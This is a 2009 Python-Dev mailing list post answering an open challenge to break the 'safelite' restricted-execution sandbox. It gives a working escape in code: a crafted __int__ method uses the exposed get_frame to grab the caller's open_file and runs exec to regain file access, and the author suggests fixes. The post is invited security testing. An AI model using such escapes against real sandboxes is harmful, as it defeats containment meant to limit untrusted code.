[Python-Dev] Challenge: Please break this! [Now with blog post]
Andrew Dalke
dalke at dalkescientific.com
Tue Feb 24 12:46:56 CET 2009
Another hole. Not as devious as some, but easy to fix with yet another
type check. And probably you want to get rid of "get_frame" from
safelite.
This trick notices 'buffering' is passed to open, which does an int
coerce of non-int objects. I can look up the stack frames and get
"open_file", which I can then use for whatever I want.
In this case, I used the hole to reimplement 'open' in its entirety.
import safelite
class GetAccess(object):
def __init__(self, filename, mode, buffering):
self.filename = filename
self.mode = mode
self.buffering = buffering
self.f = None
def __int__(self):
# Get access to the calling frame.
# (Strange that that function is available.)
frame = safelite.get_frame(1)
# Look at that nice function right there.
open_file = frame.f_locals["open_file"]
# Get around restricted mode
locals_d = {}
exec """
def breakout(open_file, filename, mode, buffering):
return open_file(filename, mode, buffering)
""" in frame.f_globals, locals_d
del frame
# Call the function
self.f = locals_d["breakout"](open_file, self.filename,
self.mode, self.buffering)
# Jump outta here
raise TypeError
def open(filename, mode="r", buffering=0):
get_access = GetAccess(filename, mode, buffering)
try:
safelite.FileReader("whatever", "r", get_access)
except TypeError:
return get_access.f
f = open("busted.txt", "w")
f.write("Broke out of jail!\n")
f.close()
print "Message is:", repr(open("busted.txt").read())
Andrew Dalke
dalke at dalkescientific.com
More information about the Python-Dev
mailing list